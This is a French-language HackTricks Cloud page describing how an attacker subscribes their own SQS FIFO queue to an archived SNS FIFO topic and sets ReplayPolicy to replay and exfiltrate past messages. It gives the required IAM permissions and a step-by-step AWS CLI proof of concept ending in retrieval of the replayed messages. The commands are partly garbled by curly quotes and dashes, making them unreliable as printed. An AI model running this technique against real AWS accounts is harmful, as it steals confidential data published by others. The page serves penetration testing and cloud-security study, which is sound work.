SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Abus de l’archivage des messages d’un topic Amazon SNS FIFO pour rejouer et exfiltrer des messages publiĂ©s prĂ©cĂ©demment vers une file SQS FIFO contrĂŽlĂ©e par l’attaquant en configurant l’attribut ReplayPolicy de la subscription.

  • Service : Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
  • Requirements : Le topic doit avoir ArchivePolicy activĂ© (archivage des messages). L’attaquant peut Subscribe au topic et dĂ©finir des attributs sur sa subscription. L’attaquant contrĂŽle une SQS FIFO queue et autorise le topic Ă  envoyer des messages.
  • Impact : Des messages historiques (publiĂ©s avant la subscription) peuvent ĂȘtre dĂ©livrĂ©s au endpoint contrĂŽlĂ© par l’attaquant. Les livraisons rejouĂ©es sont marquĂ©es avec Replayed=true dans l’enveloppe SNS.

Preconditions

  • SNS FIFO topic avec archivage activĂ© : ArchivePolicy (par ex. { "MessageRetentionPeriod": "2" } pour 2 jours).
  • L’attaquant dispose des permissions suivantes :
  • sns:Subscribe sur le topic cible.
  • sns:SetSubscriptionAttributes sur la subscription créée.
  • L’attaquant a une SQS FIFO queue et peut attacher une queue policy permettant sns:SendMessage depuis le topic ARN.

Minimum IAM permissions

  • Sur le topic : sns:Subscribe.
  • Sur la subscription : sns:SetSubscriptionAttributes.
  • Sur la queue : sqs:SetQueueAttributes pour la policy, et une queue policy autorisant sns:SendMessage depuis le topic ARN.

Attack: Replay archived messages to attacker SQS FIFO

L’attaquant inscrit sa SQS FIFO queue au topic SNS FIFO de la victime, puis dĂ©finit le ReplayPolicy sur un timestamp passĂ© (dans la fenĂȘtre de rĂ©tention de l’archive). SNS rejoue immĂ©diatement les messages archivĂ©s correspondants vers la nouvelle subscription et les marque avec Replayed=true.

Notes :

  • Le timestamp utilisĂ© dans ReplayPolicy doit ĂȘtre >= le BeginningArchiveTime du topic. S’il est antĂ©rieur, l’API renvoie Invalid StartingPoint value.
  • Pour SNS FIFO Publish, vous devez spĂ©cifier un MessageGroupId (et soit un dedup ID soit activer ContentBasedDeduplication).
End-to-end CLI POC (us-east-1) ```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )

1) Create SNS FIFO topic with archiving (2-day retention)

TOPIC_NAME=htreplay$(date +%s).fifo TOPIC_ARN=$(aws sns create-topic –region “$REGION”
–cli-input-json ‘{“Name”:“’”$TOPIC_NAME“‘“,“Attributes”:{“FifoTopic”:“true”,“ContentBasedDeduplication”:“true”,“ArchivePolicy”:“{"MessageRetentionPeriod":"2"}”}}’
–query TopicArn –output text)

echo “Topic: $TOPIC_ARN”

2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)

for i in $(seq 1 3); do aws sns publish –region “$REGION” –topic-arn “$TOPIC_ARN”
–message “{"orderId":$i,"secret":"ssn-123-45-678$i"}”
–message-group-id g1 >/dev/null done

3) Create attacker SQS FIFO queue and allow only this topic to send

Q_URL=$(aws sqs create-queue –queue-name ht-replay-exfil-q-$(date +%s).fifo
–attributes FifoQueue=true –region “$REGION” –query QueueUrl –output text) Q_ARN=$(aws sqs get-queue-attributes –queue-url “$Q_URL” –region “$REGION”
–attribute-names QueueArn –query Attributes.QueueArn –output text)

cat > /tmp/ht-replay-sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowSNSSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$TOPIC_ARN”}}}]} JSON

Use CLI input JSON to avoid quoting issues

aws sqs set-queue-attributes –region “$REGION” –cli-input-json “$(python3 - << ‘PY’ import json, os print(json.dumps({ ‘QueueUrl’: os.environ[‘Q_URL’], ‘Attributes’: {‘Policy’: open(‘/tmp/ht-replay-sqs-policy.json’).read()} })) PY )”

4) Subscribe the queue to the topic

SUB_ARN=$(aws sns subscribe –region “$REGION” –topic-arn “$TOPIC_ARN”
–protocol sqs –notification-endpoint “$Q_ARN” –query SubscriptionArn –output text)

echo “Subscription: $SUB_ARN”

5) Ensure StartingPoint is >= BeginningArchiveTime

BEGIN=$(aws sns get-topic-attributes –region “$REGION” –topic-arn “$TOPIC_ARN” –query Attributes.BeginningArchiveTime –output text) START=${TS_START} if [ -n “$BEGIN” ]; then START=“$BEGIN”; fi

aws sns set-subscription-attributes –region “$REGION” –subscription-arn “$SUB_ARN”
–attribute-name ReplayPolicy
–attribute-value “{"PointType":"Timestamp","StartingPoint":"$START"}”

6) Receive replayed messages (note Replayed=true in the SNS envelope)

aws sqs receive-message –queue-url “$Q_URL” –region “$REGION”
–max-number-of-messages 10 –wait-time-seconds 10
–message-attribute-names All –attribute-names All

</details>

## Impact
**Impact potentiel** : Un attaquant qui peut s'abonner à un SNS FIFO topic avec l'archivage activé et définir `ReplayPolicy` sur son abonnement peut immédiatement rejouer et exfiltrer des messages historiques publiés sur ce topic, et pas seulement les messages envoyés aprÚs la création de l'abonnement. Les messages livrés incluent un indicateur `Replayed=true` dans l'enveloppe SNS.

> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>